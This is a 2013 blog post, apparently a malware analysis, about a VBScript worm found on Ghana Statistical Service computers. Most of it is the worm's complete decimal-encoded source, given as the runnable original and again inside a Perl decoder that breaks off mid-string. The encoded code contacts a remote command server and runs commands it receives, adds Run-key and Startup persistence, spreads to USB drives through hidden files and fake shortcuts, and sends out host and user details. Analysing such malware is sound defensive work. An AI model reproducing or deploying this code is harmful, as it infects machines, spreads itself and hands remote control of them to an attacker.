2013/05/03

servieca.vbs - Reverse Engineered

Hello

So I came across a new virus/worm on one of the Statistical Services(http://www.statsghana.gov.gh)
computers and the have been infected by a guy call njq8(https://twitter.com/njq8)

I don't know this guy but I'll follow his tweets and watch his projects.
anyways here's the breakdown of the process I used.

First the original file.

HOUDINI = "39|60|91|32|99|111|100|101|100|32|98|89|32|110|106|113|56|32|93|62|39|13|10|79|110|32|69|114|114|111|114|32|82|101|115|117|109|101|32|78|101|120|116|13|10|100|105|109|32|115|104|32|39|32|115|104|101|108|108|13|10|115|101|116|32|115|104|32|61|87|83|99|114|105|112|116|46|67|114|101|97|116|101|79|98|106|101|99|116|40|34|87|83|99|114|105|112|116|46|83|104|101|108|108|34|41|13|10|100|105|109|32|102|115|32|39|32|102|105|108|101|115|121|115|116|101|109|13|10|115|101|116|32|102|115|61|32|67|114|101|97|116|101|79|98|106|101|99|116|40|34|83|99|114|105|112|116|105|110|103|46|70|105|108|101|83|121|115|116|101|109|79|98|106|101|99|116|34|41|32|13|10|100|105|109|32|104|111|115|116|13|10|104|111|115|116|61|34|99|117|112|105|100|111|110|46|122|97|112|116|111|46|111|114|103|34|13|10|100|105|109|32|112|111|114|116|13|10|112|111|114|116|61|57|57|57|13|10|100|105|109|32|68|82|13|10|68|82|32|61|32|115|104|46|69|120|112|97|110|100|69|110|118|105|114|111|110|109|101|110|116|83|116|114|105|110|103|115|40|34|37|116|101|109|112|37|34|41|32|38|32|34|92|34|13|10|100|105|109|32|70|78|13|10|70|78|32|61|34|83|101|114|118|105|101|99|97|46|118|98|115|34|13|10|100|105|109|32|102|104|13|10|100|105|109|32|117|115|13|10|117|115|61|34|126|34|13|10|105|110|115|13|10|100|105|109|32|115|112|108|13|10|115|112|108|61|34|106|110|74|110|106|34|13|10|100|105|109|32|105|13|10|105|61|48|13|10|119|104|105|108|101|32|116|114|117|101|13|10|100|105|109|32|97|13|10|97|32|61|32|34|34|13|10|97|61|32|115|112|108|105|116|40|112|111|115|116|40|34|114|101|97|100|121|34|44|34|34|41|44|115|112|108|41|13|10|115|101|108|101|99|116|32|99|97|115|101|32|97|40|48|41|13|10|99|97|115|101|32|34|101|120|99|34|13|10|100|105|109|32|115|97|13|10|115|97|61|32|97|40|49|41|13|10|101|120|101|99|117|116|101|32|115|97|13|10|99|97|115|101|32|34|117|110|115|34|13|10|117|110|115|13|10|101|110|100|32|115|101|108|101|99|116|13|10|119|115|99|114|105|112|116|46|115|108|101|101|112|32|52|48|48|48|13|10|105|32|61|32|105|32|43|32|49|13|10|105|102|32|105|62|32|50|32|116|104|101|110|13|10|105|61|48|13|10|120|105|110|115|13|10|101|110|100|32|105|102|13|10|119|101|110|100|13|10|13|10|102|117|110|99|116|105|111|110|32|105|110|115|13|10|111|110|32|101|114|114|111|114|32|114|101|115|117|109|101|32|110|101|120|116|13|10|117|115|61|32|115|104|46|114|101|103|114|101|97|100|40|34|72|75|67|85|92|110|106|113|56|34|41|13|10|105|102|32|117|115|61|34|126|34|32|116|104|101|110|13|10|105|102|32|108|99|97|115|101|40|32|109|105|100|40|119|115|99|114|105|112|116|46|115|99|114|105|112|116|102|117|108|108|110|97|109|101|44|50|41|41|61|34|58|92|34|32|38|32|32|108|99|97|115|101|40|102|110|41|32|116|104|101|110|13|10|117|115|61|34|121|34|13|10|115|104|46|114|101|103|119|114|105|116|101|32|34|72|75|67|85|92|110|106|113|56|34|44|32|32|117|115|44|32|34|82|69|71|95|83|90|34|13|10|101|108|115|101|13|10|117|115|61|34|110|34|13|10|115|104|46|114|101|103|119|114|105|116|101|32|34|72|75|67|85|92|110|106|113|56|34|44|32|32|117|115|44|32|34|82|69|71|95|83|90|34|13|10|101|110|100|32|105|102|13|10|101|110|100|32|105|102|13|10|69|114|114|46|67|108|101|97|114|13|10|102|115|46|67|111|112|121|70|105|108|101|32|119|115|99|114|105|112|116|46|115|99|114|105|112|116|102|117|108|108|110|97|109|101|44|100|114|32|38|32|102|110|32|44|116|114|117|101|13|10|115|101|116|32|102|104|32|61|32|102|115|46|79|112|101|110|84|101|120|116|70|105|108|101|40|32|100|114|32|38|32|102|110|44|32|56|44|32|102|97|108|115|101|41|13|10|105|102|32|32|69|114|114|46|78|117|109|98|101|114|62|48|32|116|104|101|110|13|10|119|115|99|114|105|112|116|46|113|117|105|116|13|10|101|110|100|32|105|102|13|10|120|105|110|115|13|10|101|110|100|32|102|117|110|99|116|105|111|110|13|10|13|10|115|117|98|32|120|105|110|115|13|10|111|110|32|101|114|114|111|114|32|114|101|115|117|109|101|32|110|101|120|116|13|10|115|104|46|114|101|103|119|114|105|116|101|32|34|72|75|67|85|92|83|111|102|116|119|97|114|101|92|77|105|99|114|111|115|111|102|116|92|87|105|110|100|111|119|115|92|67|117|114|114|101|110|116|86|101|114|115|105|111|110|92|82|117|110|92|34|32|38|32|102|110|44|32|32|99|104|114|119|40|51|52|41|32|38|32|100|114|32|38|32|102|110|32|38|32|99|104|114|119|40|51|52|41|44|32|34|82|69|71|95|83|90|34|13|10|115|104|46|114|101|103|119|114|105|116|101|32|34|72|75|76|77|92|83|111|102|116|119|97|114|101|92|77|105|99|114|111|115|111|102|116|92|87|105|110|100|111|119|115|92|67|117|114|114|101|110|116|86|101|114|115|105|111|110|92|82|117|110|92|34|32|38|32|102|110|44|32|32|99|104|114|119|40|51|52|41|32|38|32|100|114|32|38|32|102|110|32|38|32|99|104|114|119|40|51|52|41|44|32|34|82|69|71|95|83|90|34|13|10|102|115|46|99|111|112|121|102|105|108|101|32|119|115|99|114|105|112|116|46|115|99|114|105|112|116|102|117|108|108|110|97|109|101|44|32|32|67|114|101|97|116|101|79|98|106|101|99|116|40|34|83|104|101|108|108|46|65|112|112|108|105|99|97|116|105|111|110|34|41|46|78|97|109|101|83|112|97|99|101|40|38|72|55|41|46|83|101|108|102|46|80|97|116|104|32|38|34|92|34|32|38|32|102|110|32|44|116|114|117|101|13|10|102|111|114|32|101|97|99|104|32|120|120|32|105|110|32|102|115|46|68|114|105|118|101|115|13|10|105|102|32|120|120|46|105|115|114|101|97|100|121|32|116|104|101|110|13|10|105|102|32|120|120|46|70|114|101|101|83|112|97|99|101|32|62|48|32|116|104|101|110|13|10|105|102|32|120|120|46|100|114|105|118|101|116|121|112|101|61|49|32|116|104|101|110|13|10|105|102|32|102|115|46|102|105|108|101|101|120|105|115|116|115|40|120|120|46|112|97|116|104|32|38|32|34|92|34|32|38|32|102|110|41|32|116|104|101|110|13|10|102|115|46|103|101|116|102|105|108|101|40|120|120|46|112|97|116|104|32|38|32|34|92|34|32|32|38|32|102|110|41|46|65|116|116|114|105|98|117|116|101|115|61|48|13|10|101|110|100|32|105|102|13|10|102|115|46|99|111|112|121|102|105|108|101|32|100|114|32|38|32|102|110|32|44|32|120|120|46|112|97|116|104|32|38|32|34|92|34|32|32|38|32|102|110|44|116|114|117|101|13|10|70|111|114|32|69|97|99|104|32|120|32|73|110|32|102|115|46|71|101|116|70|111|108|100|101|114|40|32|120|120|46|112|97|116|104|32|38|32|34|92|34|32|41|46|70|105|108|101|115|13|10|119|115|99|114|105|112|116|46|115|108|101|101|112|32|49|13|10|105|102|32|105|110|115|116|114|40|120|46|110|97|109|101|44|34|46|34|41|32|116|104|101|110|13|10|105|102|32|108|99|97|115|101|40|32|83|112|108|105|116|40|120|46|110|97|109|101|44|32|34|46|34|41|40|85|66|111|117|110|100|40|83|112|108|105|116|40|120|46|110|97|109|101|44|32|34|46|34|41|41|41|41|60|62|34|108|110|107|34|32|116|104|101|110|13|10|120|46|65|116|116|114|105|98|117|116|101|115|32|61|32|50|13|10|105|102|32|117|99|97|115|101|40|120|46|110|97|109|101|41|32|60|62|32|117|99|97|115|101|40|102|110|41|32|116|104|101|110|13|10|87|105|116|104|32|115|104|46|67|114|101|97|116|101|83|104|111|114|116|99|117|116|40|120|120|46|112|97|116|104|32|38|32|34|92|34|32|32|38|32|120|46|110|97|109|101|32|38|32|34|46|108|110|107|34|41|32|13|10|46|84|97|114|103|101|116|80|97|116|104|32|61|32|34|99|109|100|46|101|120|101|34|13|10|46|87|111|114|107|105|110|103|68|105|114|101|99|116|111|114|121|32|61|32|34|34|13|10|46|65|114|103|117|109|101|110|116|115|32|61|32|34|47|99|32|115|116|97|114|116|32|34|32|38|32|82|101|112|108|97|99|101|40|102|110|44|34|32|34|44|32|67|104|114|87|40|51|52|41|32|95|13|10|38|32|34|32|34|32|38|32|67|104|114|87|40|51|52|41|41|32|38|32|34|38|115|116|97|114|116|32|34|32|38|32|114|101|112|108|97|99|101|40|32|120|46|110|97|109|101|44|34|32|34|44|32|67|104|114|87|40|51|52|41|32|38|32|34|32|34|32|38|32|67|104|114|87|40|51|52|41|41|32|38|32|34|32|38|32|101|120|105|116|34|13|10|46|73|99|111|110|76|111|99|97|116|105|111|110|32|61|32|115|104|46|114|101|103|114|101|97|100|40|34|72|75|76|77|92|83|79|70|84|87|65|82|69|92|67|108|97|115|115|101|115|92|34|32|38|32|115|104|46|114|101|103|114|101|97|100|40|34|72|75|76|77|92|83|79|70|84|87|65|82|69|92|67|108|97|115|115|101|115|92|46|34|32|38|32|83|112|108|105|116|40|120|46|110|97|109|101|44|32|34|46|34|41|40|85|66|111|117|110|100|40|83|112|108|105|116|40|120|46|110|97|109|101|44|32|34|46|34|41|41|41|32|38|32|34|92|34|41|32|38|32|34|92|68|101|102|97|117|108|116|73|99|111|110|92|34|41|13|10|105|102|32|105|110|115|116|114|40|32|46|105|99|111|110|108|111|99|97|116|105|111|110|44|34|44|34|41|61|48|32|116|104|101|110|13|10|46|105|99|111|110|108|111|99|97|116|105|111|110|32|61|32|46|105|99|111|110|108|111|99|97|116|105|111|110|32|38|34|44|48|34|13|10|101|110|100|32|105|102|13|10|46|83|97|118|101|40|41|13|10|101|110|100|32|119|105|116|104|13|10|101|110|100|32|105|102|13|10|101|110|100|32|105|102|13|10|101|110|100|32|105|102|13|10|78|101|120|116|13|10|101|110|100|32|105|102|13|10|101|110|100|32|105|102|13|10|101|110|100|32|105|102|13|10|110|101|120|116|13|10|69|114|114|46|67|108|101|97|114|13|10|101|110|100|32|115|117|98|13|10|13|10|102|117|110|99|116|105|111|110|32|117|110|115|13|10|111|110|32|101|114|114|111|114|32|114|101|115|117|109|101|32|110|101|120|116|13|10|102|104|46|99|108|111|115|101|13|10|115|104|46|82|101|103|68|101|108|101|116|101|32|34|72|75|67|85|92|83|111|102|116|119|97|114|101|92|77|105|99|114|111|115|111|102|116|92|87|105|110|100|111|119|115|92|67|117|114|114|101|110|116|86|101|114|115|105|111|110|92|82|117|110|92|34|32|38|32|102|110|13|10|115|104|46|82|101|103|68|101|108|101|116|101|32|34|72|75|76|77|92|83|111|102|116|119|97|114|101|92|77|105|99|114|111|115|111|102|116|92|87|105|110|100|111|119|115|92|67|117|114|114|101|110|116|86|101|114|115|105|111|110|92|82|117|110|92|34|32|38|32|102|110|13|10|102|115|46|68|101|108|101|116|101|70|105|108|101|32|100|114|32|38|32|102|110|32|44|116|114|117|101|13|10|102|115|46|68|101|108|101|116|101|70|105|108|101|32|67|114|101|97|116|101|79|98|106|101|99|116|40|34|83|104|101|108|108|46|65|112|112|108|105|99|97|116|105|111|110|34|41|46|78|97|109|101|83|112|97|99|101|40|38|72|55|41|46|83|101|108|102|46|80|97|116|104|32|38|34|92|34|32|38|32|102|110|32|44|116|114|117|101|13|10|102|111|114|32|101|97|99|104|32|120|120|32|105|110|32|102|115|46|68|114|105|118|101|115|13|10|105|102|32|120|120|46|105|115|114|101|97|100|121|32|116|104|101|110|13|10|105|102|32|120|120|46|70|114|101|101|83|112|97|99|101|32|62|48|32|116|104|101|110|13|10|70|111|114|32|69|97|99|104|32|120|32|73|110|32|102|115|46|71|101|116|70|111|108|100|101|114|40|32|120|120|46|112|97|116|104|32|38|32|34|92|34|41|46|70|105|108|101|115|13|10|79|110|32|69|114|114|111|114|32|82|101|115|117|109|101|32|78|101|120|116|13|10|105|102|32|105|110|115|116|114|40|120|46|110|97|109|101|44|34|46|34|41|32|116|104|101|110|13|10|105|102|32|108|99|97|115|101|40|32|83|112|108|105|116|40|120|46|110|97|109|101|44|32|34|46|34|41|40|85|66|111|117|110|100|40|83|112|108|105|116|40|120|46|110|97|109|101|44|32|34|46|34|41|41|41|41|60|62|34|108|110|107|34|32|116|104|101|110|13|10|120|46|65|116|116|114|105|98|117|116|101|115|32|61|32|48|13|10|105|102|32|117|99|97|115|101|40|120|46|110|97|109|101|41|32|60|62|32|117|99|97|115|101|40|102|110|41|32|116|104|101|110|13|10|102|115|46|100|101|108|101|116|101|102|105|108|101|40|120|120|46|112|97|116|104|32|38|32|34|92|34|32|38|32|120|46|110|97|109|101|32|38|32|34|46|108|110|107|34|32|41|13|10|101|108|115|101|13|10|102|115|46|100|101|108|101|116|101|102|105|108|101|40|32|120|120|46|112|97|116|104|32|38|32|34|92|34|32|38|32|120|46|110|97|109|101|32|41|13|10|101|110|100|32|105|102|13|10|101|110|100|32|105|102|13|10|101|110|100|32|105|102|13|10|78|101|120|116|13|10|101|110|100|32|105|102|13|10|101|110|100|32|105|102|13|10|110|101|120|116|13|10|119|115|99|114|105|112|116|46|113|117|105|116|13|10|101|110|100|32|102|117|110|99|116|105|111|110|13|10|13|10|102|117|110|99|116|105|111|110|32|112|111|115|116|40|99|109|100|32|44|100|97|41|13|10|112|111|115|116|61|34|34|13|10|68|105|109|32|111|13|10|83|101|116|32|111|32|61|32|67|114|101|97|116|101|79|98|106|101|99|116|40|34|77|83|88|77|76|50|46|88|77|76|72|84|84|80|34|41|13|10|111|46|111|112|101|110|32|34|80|79|83|84|34|44|34|104|116|116|112|58|47|47|34|32|38|32|104|111|115|116|32|38|32|34|58|34|32|38|32|112|111|114|116|32|38|34|47|34|32|38|32|99|109|100|44|32|102|97|108|115|101|13|10|111|46|115|101|116|82|101|113|117|101|115|116|72|101|97|100|101|114|32|34|85|115|101|114|45|65|103|101|110|116|58|34|44|32|32|105|110|102|13|10|111|46|115|101|110|100|32|100|97|13|10|112|111|115|116|61|111|46|114|101|115|112|111|110|115|101|84|101|120|116|13|10|101|110|100|32|102|117|110|99|116|105|111|110|13|10|13|10|100|105|109|32|120|105|110|102|13|10|102|117|110|99|116|105|111|110|32|105|110|102|13|10|111|110|32|101|114|114|111|114|32|114|101|115|117|109|101|32|110|101|120|116|13|10|105|102|32|120|105|110|102|61|34|34|32|116|104|101|110|13|10|100|105|109|32|115|13|10|115|61|34|63|63|34|13|10|115|32|61|32|104|119|100|13|10|105|110|102|32|61|32|105|110|102|32|38|32|115|32|38|32|34|92|34|13|10|115|61|34|63|63|34|13|10|115|61|32|115|104|46|69|120|112|97|110|100|69|110|118|105|114|111|110|109|101|110|116|83|116|114|105|110|103|115|40|34|37|67|79|77|80|85|84|69|82|78|65|77|69|37|34|41|13|10|105|110|102|32|61|32|105|110|102|32|38|32|115|32|38|32|34|92|34|13|10|115|61|34|63|63|34|13|10|115|61|32|115|104|46|69|120|112|97|110|100|69|110|118|105|114|111|110|109|101|110|116|83|116|114|105|110|103|115|40|34|37|85|83|69|82|78|65|77|69|37|34|41|13|10|105|110|102|32|61|32|105|110|102|32|38|32|115|32|38|32|34|92|34|13|10|115|61|34|63|63|34|13|10|83|101|116|32|97|32|61|32|71|101|116|79|98|106|101|99|116|40|34|119|105|110|109|103|109|116|115|58|123|105|109|112|101|114|115|111|110|97|116|105|111|110|76|101|118|101|108|61|105|109|112|101|114|115|111|110|97|116|101|125|33|92|92|46|92|114|111|111|116|92|99|105|109|118|50|34|41|13|10|83|101|116|32|97|97|32|61|32|97|46|69|120|101|99|81|117|101|114|121|32|40|34|83|101|108|101|99|116|32|42|32|102|114|111|109|32|87|105|110|51|50|95|79|112|101|114|97|116|105|110|103|83|121|115|116|101|109|34|41|13|10|70|111|114|32|69|97|99|104|32|97|97|97|32|105|110|32|97|97|13|10|115|61|32|97|97|97|46|67|97|112|116|105|111|110|32|32|13|10|101|120|105|116|32|102|111|114|13|10|78|101|120|116|13|10|105|110|102|32|61|32|105|110|102|32|38|32|115|32|38|32|34|92|48|46|51|92|34|32|38|32|112|105|100|32|32|13|10|120|105|110|102|61|105|110|102|13|10|101|108|115|101|13|10|105|110|102|61|120|105|110|102|13|10|101|110|100|32|105|102|13|10|101|110|100|32|102|117|110|99|116|105|111|110|13|10|13|10|102|117|110|99|116|105|111|110|32|72|87|68|13|10|83|101|116|32|97|32|61|32|71|101|116|79|98|106|101|99|116|40|34|119|105|110|109|103|109|116|115|58|123|105|109|112|101|114|115|111|110|97|116|105|111|110|76|101|118|101|108|61|105|109|112|101|114|115|111|110|97|116|101|125|33|92|92|46|92|114|111|111|116|92|99|105|109|118|50|34|41|13|10|83|101|116|32|97|97|32|61|32|97|46|69|120|101|99|81|117|101|114|121|40|34|83|69|76|69|67|84|32|42|32|70|82|79|77|32|87|105|110|51|50|95|76|111|103|105|99|97|108|68|105|115|107|34|41|13|10|70|111|114|32|69|97|99|104|32|97|97|97|32|73|110|32|97|97|13|10|105|102|32|97|97|97|46|86|111|108|117|109|101|83|101|114|105|97|108|78|117|109|98|101|114|60|62|34|34|32|116|104|101|110|13|10|72|87|68|61|32|97|97|97|46|86|111|108|117|109|101|83|101|114|105|97|108|78|117|109|98|101|114|13|10|101|120|105|116|32|102|111|114|13|10|101|110|100|32|105|102|13|10|78|101|120|116|13|10|101|110|100|32|102|117|110|99|116|105|111|110|13|10|13|10|70|117|110|99|116|105|111|110|32|80|73|68|13|10|80|73|68|61|48|13|10|111|110|32|101|114|114|111|114|32|114|101|115|117|109|101|32|110|101|120|116|13|10|80|73|68|32|61|32|71|101|116|79|98|106|101|99|116|40|34|119|105|110|109|103|109|116|115|58|114|111|111|116|92|99|105|109|118|50|34|41|46|71|101|116|40|34|87|105|110|51|50|95|34|32|38|95|13|10|34|80|114|111|99|101|115|115|46|72|97|110|100|108|101|61|39|34|32|38|32|95|13|10|115|104|46|69|120|101|99|40|34|109|115|104|116|97|46|101|120|101|34|41|46|80|114|111|99|101|115|115|73|68|32|38|32|34|39|34|41|46|80|97|114|101|110|116|80|114|111|99|101|115|115|73|100|13|10|69|110|100|32|70|117|110|99|116|105|111|110|"
HOUDINI = SPLIT(HOUDINI,"|")
FOR I = 0 TO UBOUND(HOUDINI) -1
NJ = NJ & CHR(HOUDINI(I))
NEXT
EXECUTE (NJ)

Well from that we all know the en/decryption is thesame routine
FOR I = 0 TO UBOUND(HOUDINI) -1
NJ = NJ & CHR(HOUDINI(I))
NEXT

so here's my reverse script in perl:

#!/usr/bin/perl

$HOUDINI = "39|60|91|32|99|111|100|101|100|32|98|89|32|110|106|113|56|32|93|62|39|13|10|79|110|32|69|114|114|111|114|32|82|101|115|117|109|101|32|78|101|120|116|13|10|100|105|109|32|115|104|32|39|32|115|104|101|108|108|13|10|115|101|116|32|115|104|32|61|87|83|99|114|105|112|116|46|67|114|101|97|116|101|79|98|106|101|99|116|40|34|87|83|99|114|105|112|116|46|83|104|101|108|108|34|41|13|10|100|105|109|32|102|115|32|39|32|102|105|108|101|115|121|115|116|101|109|13|10|115|101|116|32|102|115|61|32|67|114|101|97|116|101|79|98|106|101|99|116|40|34|83|99|114|105|112|116|105|110|103|46|70|105|108|101|83|121|115|116|101|109|79|98|106|101|99|116|34|41|32|13|10|100|105|109|32|104|111|115|116|13|10|104|111|115|116|61|34|99|117|112|105|100|111|110|46|122|97|112|116|111|46|111|114|103|34|13|10|100|105|109|32|112|111|114|116|13|10|112|111|114|116|61|57|57|57|13|10|100|105|109|32|68|82|13|10|68|82|32|61|32|115|104|46|69|120|112|97|110|100|69|110|118|105|114|111|110|109|101|110|116|83|116|114|105|110|103|115|40|34|37|116|101|109|112|37|34|41|32|38|32|34|92|34|13|10|100|105|109|32|70|78|13|10|70|78|32|61|34|83|101|114|118|105|101|99|97|46|118|98|115|34|13|10|100|105|109|32|102|104|13|10|100|105|109|32|117|115|13|10|117|115|61|34|126|34|13|10|105|110|115|13|10|100|105|109|32|115|112|108|13|10|115|112|108|61|34|106|110|74|110|106|34|13|10|100|105|109|32|105|13|10|105|61|48|13|10|119|104|105|108|101|32|116|114|117|101|13|10|100|105|109|32|97|13|10|97|32|61|32|34|34|13|10|97|61|32|115|112|108|105|116|40|112|111|115|116|40|34|114|101|97|100|121|34|44|34|34|41|44|115|112|108|41|13|10|115|101|108|101|99|116|32|99|97|115|101|32|97|40|48|41|13|10|99|97|115|101|32|34|101|120|99|34|13|10|100|105|109|32|115|97|13|10|115|97|61|32|97|40|49|41|13|10|101|120|101|99|117|116|101|32|115|97|13|10|99|97|115|101|32|34|117|110|115|34|13|10|117|110|115|13|10|101|110|100|32|115|101|108|101|99|116|13|10|119|115|99|114|105|112|116|46|115|108|101|101|112|32|52|48|48|48|13|10|105|32|61|32|105|32|43|32|49|13|10|105|102|32|105|62|32|50|32|116|104|101|110|13|10|105|61|48|13|10|120|105|110|115|13|10|101|110|100|32|105|102|13|10|119|101|110|100|13|10|13|10|102|117|110|99|116|105|111|110|32|105|110|115|13|10|111|110|32|101|114|114|111|114|32|114|101|115|117|109|101|32|110|101|120|116|13|10|117|115|61|32|115|104|46|114|101|103|114|101|97|100|40|34|72|75|67|85|92|110|106|113|56|34|41|13|10|105|102|32|117|115|61|34|126|34|32|116|104|101|110|13|10|105|102|32|108|99|97|115|101|40|32|109|105|100|40|119|115|99|114|105|112|116|46|115|99|114|105|112|116|102|117|108|108|110|97|109|101|44|50|41|41|61|34|58|92|34|32|38|32|32|108|99|97|115|101|40|102|110|41|32|116|104|101|110|13|10|117|115|61|34|121|34|13|10|115|104|46|114|101|103|119|114|105|116|101|32|34|72|75|67|85|92|110|106|113|56|34|44|32|32|117|115|44|32|34|82|69|71|95|83|90|34|13|10|101|108|115|101|13|10|117|115|61|34|110|34|13|10|115|104|46|114|101|103|119|114|105|116|101|32|34|72|75|67|85|92|110|106|113|56|34|44|32|32|117|115|44|32|34|82|69|71|95|83|90|34|13|10|101|110|100|32|105|102|13|10|101|110|100|32|105|102|13|10|69|114|114|46|67|108|101|97|114|13|10|102|115|46|67|111|112|121|70|105|108|101|32|119|115|99|114|105|112|116|46|115|99|114|105|112|116|102|117|108|108|110|97|109|101|44|100|114|32|38|32|102|110|32|44|116|114|117|101|13|10|115|101|116|32|102|104|32|61|32|102|115|46|79|112|101|110|84|101|120|116|70|105|108|101|40|32|100|114|32|38|32|102|110|44|32|56|44|32|102|97|108|115|101|41|13|10|105|102|32|32|69|114|114|46|78|117|109|98|101|114|62|48|32|116|104|101|110|13|10|119|115|99|114|105|112|116|46|113|117|105|116|13|10|101|110|100|32|105|102|13|10|120|105|110|115|13|10|101|110|100|32|102|117|110|99|116|105|111|110|13|10|13|10|115|117|98|32|120|105|110|115|13|10|111|110|32|101|114|114|111|114|32|114|101|115|117|109|101|32|110|101|120|116|13|10|115|104|46|114|101|103|119|114|105|116|101|32|34|72|75|67|85|92|83|111|102|116|119|97|114|101|92|77|105|99|114|111|115|111|102|116|92|87|105|110|100|111|119|115|92|67|117|114|114|101|110|116|86|101|114|115|105|111|110|92|82|117|110|92|34|32|38|32|102|110|44|32|32|99|104|114|119|40|51|52|41|32|38|32|100|114|32|38|32|102|110|32|38|32|99|104|114|119|40|51|52|41|44|32|34|82|69|71|95|83|90|34|13|10|115|104|46|114|101|103|119|114|105|116|101|32|34|72|75|76|77|92|83|111|102|116|119|97|114|101|92|77|105|99|114|111|115|111|102|116|92|87|105|110|100|111|119|115|92|67|117|114|114|101|110|116|86|101|114|115|105|111|110|92|82|117|110|92|34|32|38|32|102|110|44|32|32|99|104|114|119|40|51|52|41|32|38|32|100|114|32|38|32|102|110|32|38|32|99|104|114|119|40|51|52|41|44|32|34|82|69|71|95|83|90|34|13|10|102|115|46|99|111|112|121|102|105|108|101|32|119|115|99|114|105|112|116|46|115|99|114|105|112|116|102|117|108|108|110|97|109|101|44|32|32|67|114|101|97|116|101|79|98|106|101|99|116|40|34|83|104|101|108|108|46|65|112|112|108|105|99|97|116|105|111|110|34|41|46|78|97|109|101|83|112|97|99|101|40|38|72|55|41|46|83|101|108|102|46|80|97|116|104|32|38|34|92|34|32|38|32|102|110|32|44|116|114|117|101|13|10|102|111|114|32|101|97|99|104|32|120|120|32|105|110|32|102|115|46|68|114|105|118|101|115|13|10|105|102|32|120|120|46|105|115|114|101|97|100|121|32|116|104|101|110|13|10|105|102|32|120|120|46|70|114|101|101|83|112|97|99|101|32|62|48|32|116|104|101|110|13|10|105|102|32|120|120|46|100|114|105|118|101|116|121|112|101|61|49|32|116|104|101|110|13|10|105|102|32|102|115|46|102|105|108|101|101|120|105|115|116|115|40|120|120|46|112|97|116|104|32|38|32|34|92|34|32|38|32|102|110|41|32|116|104|101|110|13|10|102|115|46|103|101|116|102|105|108|101|40|120|120|46|112|97|116|104|32|38|32|34|92|34|32|32|38|32|102|110|41|46|65|116|116|114|105|98|117|116|101|115|61|48|13|10|101|110|100|32|105|102|13|10|102|115|46|99|111|112|121|102|105|108|101|32|100|114|32|38|32|102|110|32|44|32|120|120|46|112|97|116|104|32|38|32|34|92|34|32|32|38|32|102|110|44|116|114|117|101|13|10|70|111|114|32|69|97|99|104|32|120|32|73|110|32|102|115|46|71|101|116|70|111|108|100|101|114|40|32|120|120|46|112|97|116|104|32|38|32|34|92|34|32|41|46|70|105|108|101|115|13|10|119|115|99|114|105|112|116|46|115|108|101|101|112|32|49|13|10|105|102|32|105|110|115|116|114|40|120|46|110|97|109|101|44|34|46|34|41|32|116|104|101|110|13|10|105|102|32|108|99|97|115|101|40|32|83|112|108|105|116|40|120|46|110|97|109|101|44|32|34|46|34|41|40|85|66|111|117|110|100|40|83|112|108|105|116|40|120|46|110|97|109|101|44|32|34|46|34|41|41|41|41|60|62|34|108|110|107|34|32|116|104|101|110|13|10|120|46|65|116|116|114|105|98|117|116|101|115|32|61|32|50|13|10|105|102|32|117|99|97|115|101|40|120|46|110|97|109|101|41|32|60|62|32|117|99|97|115|101|40|102|110|41|32|116|104|101|110|13|10|87|105|116|104|32|115|104|46|67|114|101|97|116|101|83|104|111|114|116|99|117|116|40|120|120|46|112|97|116|104|32|38|32|34|92|34|32|32|38|32|120|46|110|97|109|101|32|38|32|34|46|108|110|107|34|41|32|13|10|46|84|97|114|103|101|116|80|97|116|104|32|61|32|34|99|109|100|46|101|120|101|34|13|10|46|87|111|114|107|105|110|103|68|105|114|101|99|116|111|114|121|32|61|32|34|34|13|10|46|65|114|103|117|109|101|110|116|115|32|61|32|34|47|99|32|115|116|97|114|116|32|34|32|38|32|82|101|112|108|97|99|101|40|102|110|44|34|32|34|44|32|67|104|114|87|40|51|52|41|32|95|13|10|38|32|34|32|34|32|38|32|67|104|114|87|40|51|52|41|41|32|38|32|34|38|115|116|97|114|116|32|34|32|38|32|114|101|112|108|97|99|101|40|32|120|46|110|97|109|101|44|34|32|34|44|32|67|104|114|87|40|51|52|41|32|38|32|34|32|34|32|38|32|67|104|114|87|40|51|52|41|41|32|38|32|34|32|38|32|101|120|105|116|34|13|10|46|73|99|111|110|76|111|99|97|116|105|111|110|32|61|32|115|104|46|114|101|103|114|101|97|100|40|34|72|75|76|77|92|83|79|70|84|87|65|82|69|92|67|108|97|115|115|101|115|92|34|32|38|32|115|104|46|114|101|103|114|101|97|100|40|34|72|75|76|77|92|83|79|70|84|87|65|82|69|92|67|108|97|115|115|101|115|92|46|34|32|38|32|83|112|108|105|116|40|120|46|110|97|109|101|44|32|34|46|34|41|40|85|66|111|117|110|100|40|83|112|108|105|116|40|120|46|110|97|109|101|44|32|34|46|34|41|41|41|32|38|32|34|92|34|41|32|38|32|34|92|68|101|102|97|117|108|116|73|99|111|110|92|34|41|13|10|105|102|32|105|110|115|116|114|40|32|46|105|99|111|110|108|111|99|97|116|105|111|110|44|34|44|34|41|61|48|32|116|104|101|110|13|10|46|105|99|111|110|108|111|99|97|116|105|111|110|32|61|32|46|105|99|111|110|108|111|99|97|116|105|111|110|32|38|34|44|48|34|13|10|101|110|100|32|105|102|13|10|46|83|97|118|101|40|41|13|10|101|110|100|32|119|105|116|104|13|10|101|110|100|32|105|102|13|10|101|110|100|32|105|102|13|10|101|110|100|32|105|102|13|10|78|101|120|116|13|10|101|110|100|32|105|102|13|10|101|110|100|32|105|102|13|10|101|110|100|32|105|102|13|10|110|101|120|116|13|10|69|114|114|46|67|108|101|97|114|13|10|101|110|100|32|115|117|98|13|10|13|10|102|117|110|99|116|105|111|110|32|117|110|115|13|10|111|110|32|101|114|114|111|114|32|114|101|115|117|109|101|32|110|101|120|116|13|10|102|104|46|99|108|111|115|101|13|10|115|104|46|82|101|103|68|101|108|101|116|101|32|34|72|75|67|85|92|83|111|102|116|119|97|114|101|92|77|105|99|114|111|115|111|102|116|92|87|105|110|100|111|119|115|92|67|117|114|114|101|110|116|86|101|114|115|105|111|110|92|82|117|110|92|34|32|38|32|102|110|13|10|115|104|46|82|101|103|68|101|108|101|116|101|32|34|72|75|76|77|92|83|111|102|116|119|97|114|101|92|77|105|99|114|111|115|111|102|116|92|87|105|110|100|111|119|115|92|67|117|114|114|101|110|116|86|101|114|115|105|111|110|92|82|117|110|92|34|32|38|32|102|110|13|10|102|115|46|68|101|108|101|116|101|70|105|108|101|32|100|114|32|38|32|102|110|32|44|116|114|117|101|13|10|102|115|46|68|101|108|101|116|101|70|105|108|101|32|67|114|101|97|116|101|79|98|106|101|99|116|40|34|83|104|101|108|108|46|65|112|112|108|105|99|97|116|105|111|110|34|41|46|78|97|109|101|83|112|97|99|101|40|38|72|55|41|46|83|101|108|102|46|80|97|116|104|32|38|34|92|34|32|38|32|102|110|32|44|116|114|117|101|13|10|102|111|114|32|101|97|99|104|32|120|120|32|105|110|32|102|115|46|